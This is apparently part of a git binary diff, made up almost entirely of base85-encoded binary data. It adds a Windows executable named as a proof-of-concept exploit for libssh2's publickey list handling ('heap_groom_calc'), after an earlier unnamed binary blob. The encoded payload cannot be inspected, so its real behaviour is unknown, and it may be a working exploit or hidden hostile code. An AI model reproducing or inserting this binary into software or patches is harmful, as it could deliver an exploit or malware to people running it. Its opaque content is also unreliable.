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 literal 0 HcmV?d00001 diff --git a/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro_checked.exe b/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro_checked.exe new file mode 100644 index 0000000000000000000000000000000000000000..fcd61380ad3d600e0fd586a7795717e47ee9d0de GIT binary patch literal 56320 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 